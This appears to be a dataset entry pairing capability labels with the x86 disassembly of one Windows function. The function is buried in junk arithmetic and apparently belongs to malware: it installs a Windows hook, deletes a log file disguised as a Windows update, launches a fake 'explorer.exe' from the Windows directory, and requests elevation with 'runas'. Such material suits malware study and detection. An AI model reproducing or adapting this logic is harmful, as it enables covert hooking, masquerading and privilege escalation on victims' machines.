Function at 0x411dd0
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1074
call fcn.00430290
mov eax, dword [0x45e540]
xor eax, ebp
mov dword [esp + 0x1070], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x10], eax
push ebx
push esi
push edi
mov edi, dword [0x45cbcc]
mov eax, 0x5fa6246b
imul edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0x100de
mov ebx, edi
imul ebx, ebx, 0xdc65
sub ebx, eax
add ebx, edx
mov esi, dword [0x45cbe8]
mov eax, 0x2aa871e5
imul dword [0x45cbd4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x2aa871e5
imul edi
mov ecx, esi
imul ecx, ecx, 0xd60e
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, ecx
mov dword [esp + 0x14], eax
mov eax, 0x1006124d
imul dword [0x45cbd4]
sar edx, 0xc
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x14]
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, ebx
add eax, ecx
mov ecx, dword [0x45cbd0]
mov dword [str._r_____r____], eax
cmp dword [ebp + 8], 0x132db2c
mov dword [esp + 0x18], 0
je 0x411f44
mov eax, 0x1840c0e3
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x45cbd8]
mov eax, 0xc26c7c39
imul ecx
add edx, ecx
imul ecx, ecx, 0x18014
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0x100de
mov edi, eax
sub edi, esi
add edi, edx
mov eax, 0x2aa871e5
imul dword [0x45cbdc]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edi, ecx
mov ecx, dword [esp + 0x10]
add eax, edx
sub edi, eax
sub edi, dword [0x45cbe4]
lea edx, [edi + ecx - 0xa88a]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x45cbd0], edx
mov esi, 0x64
push 0x3e8
call edi
dec esi
jne 0x411f23
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1070]
xor ecx, ebp
call fcn.0042fa4d
mov esp, ebp
pop ebp
ret
mov eax, dword [0x45cbe0]
imul eax, eax, 0x15433
lea ebx, [ecx + edi]
imul ebx, ebx, 0x15696
add ebx, eax
mov eax, dword [0x45cbdc]
imul eax, eax, 0xa88a
add ebx, eax
mov eax, 0x7f915fef
imul edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x2aa871e5
imul dword [0x45cbe4]
sar edx, 0xe
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov dword [esp + 0x10], eax
mov eax, 0x1006124d
imul dword [0x45cbe4]
mov eax, dword [esp + 0x10]
sar edx, 0xc
mov ebx, edx
add eax, edx
shr ebx, 0x1f
add ebx, eax
mov eax, dword [section.dfsaewr4]
test eax, eax
mov dword [0x45cbdc], ebx
je 0x412037
mov eax, 0x94adc77f
imul ecx
add edx, ecx
sar edx, 0xf
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x6051edb
imul ecx
sar edx, 0xb
add esi, edx
mov edi, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0xa88a
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0xc26c7c39
imul ecx
add edx, ecx
sar edx, 0xf
add edi, edx
mov ecx, edx
mov eax, 0x7f915fef
imul dword [0x45cbe4]
sar edx, 0xf
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, edi
sub ecx, eax
mov eax, dword [0x45cbe0]
imul eax, eax, 0x8088
sub ecx, eax
mov dword [0x45cbc8], ecx
jmp 0x412f2e
mov edx, dword [str._r_____r____]
mov ecx, dword [0x45cbd8]
add ecx, edx
imul ecx, ecx, 0x100de
mov eax, ebx
imul eax, eax, 0xdc65
add ecx, eax
mov eax, 0x3e77639f
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x1006124d
imul ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, dword [0x45cbe0]
mov edx, dword [str._r_____r____]
imul edx, edx, 0xff9f
add eax, ecx
lea eax, [edx + eax - 0xa88a]
mov dword [0x45cbd4], eax
lea esp, [esp]
mov ecx, dword [0x45cbd0]
lea eax, [ecx + esi]
imul eax, eax, 0xa8e3
mov dword [esp + 0x10], eax
mov eax, 0x5fa6246b
imul esi
mov eax, dword [esp + 0x10]
sar edx, 0xf
add eax, edx
mov ecx, edx
mov edx, dword [0x45cbd4]
shr ecx, 0x1f
imul edx, edx, 0xd60e
add ecx, eax
mov eax, dword [0x45cbd8]
imul eax, eax, 0x15433
sub ecx, edx
add ecx, eax
mov eax, 0x1840c0e3
imul edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0xa88a
sub ecx, eax
mov eax, dword [ebp + 0x10]
sub ecx, edx
test eax, eax
mov dword [0x45cbe0], ecx
jg 0x412259
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x412259
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x412126
sub eax, dword [esp + 0x10]
mov dword [esp + 0x10], eax
je 0x412259
mov eax, dword [0x45cbe4]
imul ecx, ecx, 0xdc65
imul esi, esi, 0xd60e
imul eax, eax, 0xa88a
sub ecx, esi
add ecx, eax
mov eax, 0x3e77639f
imul edi
sar edx, 0xe
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [0x45cbd4]
mov eax, 0x7f915fef
imul ecx
sar edx, 0xf
mov edi, edx
add esi, edx
mov eax, 0x1006124d
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xc
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, esi
add edi, edx
add eax, edi
sub eax, ecx
mov ecx, dword [esp + 0x1c]
push ecx
add eax, 0xa8e3
push 0
mov dword [0x45cbcc], eax
call fcn.0040edc0
add esp, 8
test eax, eax
mov dword [esp + 0x14], eax
jle 0x412d86
mov edx, dword [0x45cbc8]
mov eax, dword [0x45cbd4]
mov esi, dword [0x45cbd8]
lea edi, [edx + eax]
mov eax, 0x5fa6246b
imul edi, edi, 0x10649
imul esi
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x1840c0e3
imul ecx
imul ecx, ecx, 0xff9f
sar edx, 0xc
add edi, edx
mov ebx, edx
mov edx, dword [0x45cbe4]
mov eax, 0x2aa871e5
imul edx
sar edx, 0xe
shr ebx, 0x1f
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, edi
sub ebx, eax
mov edi, dword [0x45cbcc]
mov eax, 0x1006124d
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, ecx
mov ecx, dword [0x45cbe8]
mov dword [0x45cbe4], ebx
mov ebx, dword [0x45cbdc]
jmp 0x4122dc
mov esi, dword [0x45cbd0]
mov ecx, dword [0x45cbd8]
add ecx, esi
imul esi, esi, 0xff9f
mov eax, 0x6051edb
imul ecx, ecx, 0xdc65
imul dword [str._r_____r____]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x45cbe4]
imul eax, eax, 0xa88a
sub ecx, eax
mov eax, 0x3e77639f
imul dword [0x45cbc8]
sar edx, 0xe
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov dword [esp + 0x10], eax
mov eax, 0x1006124d
imul dword [0x45cbc8]
mov eax, dword [esp + 0x10]
sar edx, 0xc
mov ecx, edx
add eax, edx
mov edx, dword [ebp + 0x10]
shr ecx, 0x1f
add ecx, eax
sub ecx, esi
mov dword [0x45cbe8], ecx
mov dword [esp + 0x14], edx
mov eax, 0x5fa6246b
imul ecx, ecx, 0xd60e
imul ebx, ebx, 0x100de
imul edi
mov esi, edi
sar edx, 0xf
imul esi, esi, 0xdc65
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x45cbd4]
mov eax, 0x2aa871e5
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, ebx
sub esi, eax
mov eax, 0x2aa871e5
imul edi
sar edx, 0xe
mov edi, edx
add esi, edx
mov eax, 0x1006124d
imul ecx
sar edx, 0xc
shr edi, 0x1f
mov ecx, edx
add edi, esi
shr ecx, 0x1f
add edi, edx
add ecx, edi
push str.c:WINDoWSKB5445243.log
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x45cbd0]
mov eax, 0x94adc77f
imul ecx
add edx, ecx
sar edx, 0xf
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x6051edb
imul ecx
sar edx, 0xb
add esi, edx
mov edi, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0xa88a
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0xc26c7c39
imul ecx
add edx, ecx
mov ecx, dword [0x45cbe4]
sar edx, 0xf
add edi, edx
mov esi, edx
mov eax, 0x7f915fef
imul ecx
mov ecx, dword [0x45cbe0]
sar edx, 0xf
imul ecx, ecx, 0x8088
mov eax, edx
shr esi, 0x1f
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x14]
add esi, edi
sub esi, eax
mov eax, dword [0x5706ec]
push edx
sub esi, ecx
push eax
mov dword [0x45cbc8], esi
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.dfsaewr4], eax
je 0x412e23
mov ecx, dword [0x45cbd0]
mov edi, dword [0x45cbe8]
mov eax, 0x1840c0e3
imul ecx
mov ecx, dword [0x45cbd8]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, edi
imul ebx, ebx, 0xd60e
sub ebx, eax
mov eax, 0xc26c7c39
imul ecx
add edx, ecx
sar edx, 0xf
mov esi, edx
add ebx, edx
shr esi, 0x1f
add esi, ebx
mov ebx, dword [0x45cbc8]
mov edx, ebx
imul edx, edx, 0x100de
mov eax, ecx
imul eax, eax, 0x18014
add esi, edx
add esi, eax
mov eax, 0x2aa871e5
imul dword [0x45cbdc]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe4]
sub esi, eax
sub esi, edx
sub esi, 0xa88a
mov dword [0x5706f0], 1
mov dword [esp + 0x14], 0
jmp 0x4124b0
mov edi, dword [0x45cbe8]
mov esi, dword [0x45cbd0]
mov ecx, dword [0x45cbd8]
mov ebx, dword [0x45cbc8]
jmp 0x4124b0
mov eax, 0x1840c0e3
imul edi, edi, 0xd60e
imul ebx, ebx, 0x100de
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xc26c7c39
imul ecx
add edx, ecx
imul ecx, ecx, 0x18014
sar edx, 0xf
mov esi, edx
add edi, edx
mov eax, 0x2aa871e5
imul dword [0x45cbdc]
shr esi, 0x1f
add esi, edi
add esi, ebx
mov ebx, dword [0x45cbe4]
add esi, ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
sub esi, ebx
sub esi, 0xa88a
push str.c:WINDoWSKB5445243.log
mov dword [0x45cbd0], esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x412545
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x12c
mov dword [esp + 0x14], eax
jl 0x41248f
mov esi, dword [0x45cbe8]
mov eax, 0x94adc77f
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x264545a3
imul esi
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, esi
imul ecx, ecx, 0xa88a
sub edi, ecx
mov ecx, dword [0x45cbe0]
mov eax, 0x3e77639f
imul ecx
mov eax, dword [0x45cbc8]
sar edx, 0xe
imul eax, eax, 0xff9f
add edi, edx
mov ebx, edx
mov edx, ecx
imul edx, edx, 0x10649
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45cbd4]
add ebx, edx
add ebx, eax
mov eax, 0x1006124d
imul edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
cmp dword [esp + 0x14], 0x12c
mov dword [0x45cbd8], ebx
jl 0x412eb9
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x412eb9
mov edx, dword [0x45cbcc]
imul ecx, ecx, 0x15433
mov eax, dword [0x45cbd0]
lea esi, [eax + edx]
imul esi, esi, 0x15696
add esi, ecx
mov ecx, dword [0x45cbdc]
mov eax, 0x7f915fef
imul ecx, ecx, 0xa88a
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, ecx
mov ecx, dword [0x45cbe4]
sub esi, eax
mov eax, 0x2aa871e5
imul ecx
sar edx, 0xe
mov edi, edx
add esi, edx
mov eax, 0x1006124d
imul ecx
sar edx, 0xc
shr edi, 0x1f
mov ecx, edx
add edi, esi
add edi, edx
shr ecx, 0x1f
push 0x800
lea edx, [esp + 0x7c]
add ecx, edi
push edx
mov dword [0x45cbdc], ecx
mov dword [esp + 0x20], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x45cbe8]
mov eax, dword [0x45cbd0]
lea esi, [eax + ecx]
mov eax, 0x5fa6246b
imul esi, esi, 0xa8e3
imul ecx
mov ecx, dword [0x45cbd4]
sar edx, 0xf
imul ecx, ecx, 0xd60e
mov edi, edx
add esi, edx
mov edx, dword [0x45cbd8]
imul edx, edx, 0x15433
shr edi, 0x1f
add edi, esi
sub edi, ecx
mov ecx, dword [0x45cbcc]
add edi, edx
mov eax, 0x1840c0e3
imul ecx
mov ecx, dword [0x45cbdc]
sar edx, 0xc
imul ecx, ecx, 0xa88a
mov eax, edx
shr eax, 0x1f
add eax, edx
lea edx, [esp + 0x78]
push edx
sub edi, eax
lea eax, [esp + 0x87c]
sub edi, ecx
push str._sexplorer.exe
push eax
mov dword [0x45cbe0], edi
call fcn.0042fc21
lea ecx, [esp + 0x884]
push 0
push ecx
call fcn.0042ffbd
add esp, 0x14
cmp eax, 0xffffffff
je 0x412d01
mov edx, dword [0x45cbd4]
mov eax, dword [0x45cbc8]
mov esi, dword [0x45cbd8]
lea edi, [eax + edx]
mov eax, 0x5fa6246b
imul edi, edi, 0x10649
imul esi
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x1840c0e3
imul ecx
imul ecx, ecx, 0xff9f
sar edx, 0xc
mov ebx, edx
add edi, edx
mov edx, dword [0x45cbe4]
mov eax, 0x2aa871e5
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebx, 0x1f
add ebx, edi
sub ebx, eax
mov eax, 0x1006124d
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, ecx
push str.explorer.exe
mov dword [0x45cbe4], ebx
call fcn.004063f0
mov esi, dword [0x45cbd0]
mov ecx, dword [0x45cbd8]
lea edi, [ecx + esi]
imul esi, esi, 0xff9f
mov ecx, dword [str._r_____r____]
imul edi, edi, 0xdc65
mov eax, 0x6051edb
imul ecx
mov ecx, dword [0x45cbe4]
sar edx, 0xb
imul ecx, ecx, 0xa88a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, ecx
mov ecx, dword [0x45cbc8]
mov eax, 0x3e77639f
imul ecx
sar edx, 0xe
add edi, edx
mov ebx, edx
mov eax, 0x1006124d
imul ecx
shr ebx, 0x1f
sar edx, 0xc
add ebx, edi
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
add esp, 4
sub ecx, esi
mov dword [0x45cbe8], ecx
mov dword [esp + 0x14], 5
jmp 0x412824
mov ecx, dword [0x45cbe8]
mov esi, dword [0x45cbcc]
imul ecx, ecx, 0xd60e
mov eax, 0x5fa6246b
imul esi
mov edi, esi
sar edx, 0xf
imul edi, edi, 0xdc65
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x45cbdc]
imul ecx, ecx, 0x100de
add edi, ecx
mov ecx, dword [0x45cbd4]
mov eax, 0x2aa871e5
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x2aa871e5
imul esi
sar edx, 0xe
mov esi, edx
add edi, edx
mov eax, 0x1006124d
imul ecx
sar edx, 0xc
shr esi, 0x1f
mov ecx, edx
add esi, edi
shr ecx, 0x1f
add esi, edx
add ecx, esi
push str.explorer.exe
mov dword [str._r_____r____], ecx
call fcn.00405de0
add esp, 4
test eax, eax
jg 0x412c6e
mov ebx, dword [0x45cbd0]
mov eax, 0x94adc77f
imul ebx
add edx, ebx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x6051edb
imul ebx
sar edx, 0xb
add ecx, edx
mov edi, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0xa88a
shr edi, 0x1f
add edi, ecx
add edi, edx
mov eax, 0xc26c7c39
imul ebx
add edx, ebx
sar edx, 0xf
add edi, edx
mov esi, edx
mov eax, 0x7f915fef
imul dword [0x45cbe4]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe0]
mov ecx, edx
imul edx, edx, 0xdc65
imul ecx, ecx, 0x8088
shr esi, 0x1f
add esi, edi
sub esi, eax
xor eax, eax
sub esi, ecx
mov ecx, 0x11
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov eax, dword [0x45cbe4]
imul eax, eax, 0xa88a
add edx, eax
mov dword [esp + 0x10], edx
mov edx, dword [0x45cbcc]
mov eax, 0x3e77639f
imul edx
mov eax, dword [esp + 0x10]
sar edx, 0xe
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov ecx, dword [0x45cbe8]
mov eax, 0x7f915fef
imul ecx, ecx, 0xd60e
imul dword [0x45cbd4]
sar edx, 0xf
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x1006124d
imul dword [0x45cbd4]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, dword [str._r_____r____]
sub eax, ecx
sub eax, edi
add eax, 0xa8e3
mov dword [0x45cbc8], esi
mov dword [esp + 0x20], 0x44
mov dword [0x45cbcc], eax
mov dword [esp + 0x4c], 1
mov edi, dword [0x45cbd8]
imul esi, esi, 0x100de
mov eax, 0x1840c0e3
imul ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xc26c7c39
imul edi
add edx, edi
imul edi, edi, 0x18014
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
sub eax, ebx
add eax, esi
add eax, edi
mov ebx, eax
mov eax, 0x2aa871e5
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, dword [0x45cbe4]
lea ecx, [ebx + ecx - 0xa88a]
lea edx, [esp + 0x68]
push edx
lea eax, [esp + 0x24]
push eax
mov dword [0x45cbd0], ecx
lea ecx, [esp + 0x80]
push ecx
push 0
push 0x20
push 0
push 0
push 0
lea edx, [esp + 0x898]
push edx
push 0
mov word [esp + 0x78], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x412ae0
mov esi, dword [0x45cbdc]
mov ecx, dword [str._r_____r____]
mov eax, dword [0x45cbd8]
lea edi, [eax + ecx]
imul edi, edi, 0x100de
mov edx, esi
imul edx, edx, 0xdc65
add edi, edx
mov eax, 0x3e77639f
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov ebx, dword [0x45cbe0]
mov eax, 0x1006124d
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0xff9f
add eax, ebx
add eax, edi
lea eax, [edx + eax - 0xa88a]
mov dword [0x45cbd4], eax
jmp 0x412c74
mov ecx, dword [0x45cbe8]
mov eax, 0x94adc77f
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x264545a3
imul ecx
imul ecx, ecx, 0xa88a
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [0x45cbe0]
mov eax, 0x3e77639f
imul ecx
imul ecx, ecx, 0x10649
sar edx, 0xe
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
add esi, ecx
mov ecx, dword [0x45cbc8]
imul ecx, ecx, 0xff9f
add esi, ecx
mov ecx, dword [0x45cbd4]
mov eax, 0x1006124d
imul ecx
sar edx, 0xc
push 1
mov eax, edx
lea ecx, [esp + 0x7c]
push ecx
shr eax, 0x1f
add eax, edx
push 0
lea edx, [esp + 0x884]
push edx
push str.runas
sub esi, eax
push 0
mov dword [0x45cbd8], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x412bfe
mov ecx, dword [0x45cbcc]
mov eax, dword [0x45cbd0]
mov edx, dword [0x45cbe0]
lea esi, [eax + ecx]
imul edx, edx, 0x15433
mov eax, dword [0x45cbdc]
imul esi, esi, 0x15696
imul eax, eax, 0xa88a
add esi, edx
add esi, eax
mov eax, 0x7f915fef
imul ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45cbe4]
mov eax, 0x2aa871e5
imul ecx
sar edx, 0xe
add esi, edx
mov edi, edx
mov eax, 0x1006124d
imul ecx
shr edi, 0x1f
sar edx, 0xc
add edi, esi
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [0x45cbdc], eax
jmp 0x412c6e
mov ecx, dword [0x45cbe8]
mov edx, dword [0x45cbd0]
lea esi, [edx + ecx]
mov eax, 0x5fa6246b
imul esi, esi, 0xa8e3
imul ecx
mov eax, dword [0x45cbd4]
mov ecx, dword [0x45cbd8]
imul eax, eax, 0xd60e
imul ecx, ecx, 0x15433
sar edx, 0xf
mov edi, edx
shr edi, 0x1f
add esi, edx
add edi, esi
sub edi, eax
add edi, ecx
mov ecx, dword [0x45cbcc]
mov eax, 0x1840c0e3
imul ecx
mov ecx, dword [0x45cbdc]
sar edx, 0xc
imul ecx, ecx, 0xa88a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, ecx
mov dword [0x45cbe0], edi
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45cbc8]
mov eax, dword [0x45cbd4]
mov esi, dword [0x45cbd8]
lea edi, [edx + eax]
mov eax, 0x5fa6246b
imul edi, edi, 0x10649
imul esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x1840c0e3
imul ecx
imul ecx, ecx, 0xff9f
sar edx, 0xc
mov ebx, edx
add edi, edx
mov eax, 0x2aa871e5
imul dword [0x45cbe4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebx, 0x1f
add ebx, edi
sub ebx, eax
mov eax, 0x1006124d
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, ecx
push 0x3e8
mov dword [0x45cbe4], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x14]
jne 0x41281e
mov edx, dword [0x45cbd8]
mov ecx, dword [0x45cbd0]
lea edi, [edx + ecx]
imul ecx, ecx, 0xff9f
mov esi, dword [0x45cbc8]
imul edi, edi, 0xdc65
mov eax, 0x6051edb
imul dword [str._r_____r____]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe4]
imul edx, edx, 0xa88a
sub edi, eax
sub edi, edx
mov eax, 0x3e77639f
imul esi
sar edx, 0xe
add edi, edx
mov ebx, edx
mov eax, 0x1006124d
imul esi
shr ebx, 0x1f
sar edx, 0xc
add ebx, edi
mov edi, dword [0x45cbcc]
mov esi, edx
add ebx, edx
shr esi, 0x1f
add esi, ebx
mov ebx, dword [0x45cbdc]
sub esi, ecx
mov dword [0x45cbe8], esi
jmp 0x4120a0
mov ecx, dword [0x45cbe8]
mov eax, 0x94adc77f
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x264545a3
imul ecx
imul ecx, ecx, 0xa88a
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [0x45cbe0]
mov eax, 0x3e77639f
imul ecx
imul ecx, ecx, 0x10649
sar edx, 0xe
mov esi, edx
shr esi, 0x1f
add edi, edx
add esi, edi
add esi, ecx
mov ecx, dword [0x45cbc8]
imul ecx, ecx, 0xff9f
add esi, ecx
mov ecx, dword [0x45cbd4]
mov eax, 0x1006124d
imul ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov dword [0x45cbd8], esi
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1070]
xor ecx, ebp
call fcn.0042fa4d
mov esp, ebp
pop ebp
ret
mov esi, dword [0x45cbe0]
mov ecx, dword [0x45cbe8]
imul esi, esi, 0xdc65
mov edx, dword [0x45cbe4]
imul ecx, ecx, 0xd60e
imul edx, edx, 0xa88a
sub esi, ecx
mov ecx, dword [0x45cbcc]
add esi, edx
mov eax, 0x3e77639f
imul ecx
mov ecx, dword [0x45cbd4]
sar edx, 0xe
add esi, edx
mov edi, edx
mov eax, 0x7f915fef
imul ecx
sar edx, 0xf
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
mov eax, 0x1006124d
imul ecx
sar edx, 0xc
shr esi, 0x1f
add esi, edi
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
sub eax, edx
add eax, 0xa8e3
mov dword [0x45cbcc], eax
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1070]
xor ecx, ebp
call fcn.0042fa4d
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x45cbcc]
imul esi, esi, 0xd60e
mov eax, 0x5fa6246b
imul ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
mov ebx, ecx
imul edx, edx, 0x100de
imul ebx, ebx, 0xdc65
sub ebx, eax
add ebx, esi
add ebx, edx
mov eax, 0x2aa871e5
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x2aa871e5
imul ecx
sar edx, 0xe
add ebx, edx
mov ecx, edx
mov eax, 0x1006124d
imul edi
shr ecx, 0x1f
sar edx, 0xc
add ecx, ebx
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
mov dword [str._r_____r____], eax
mov ecx, dword [esp + 0x107c]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0042fa4d
mov esp, ebp
pop ebp
ret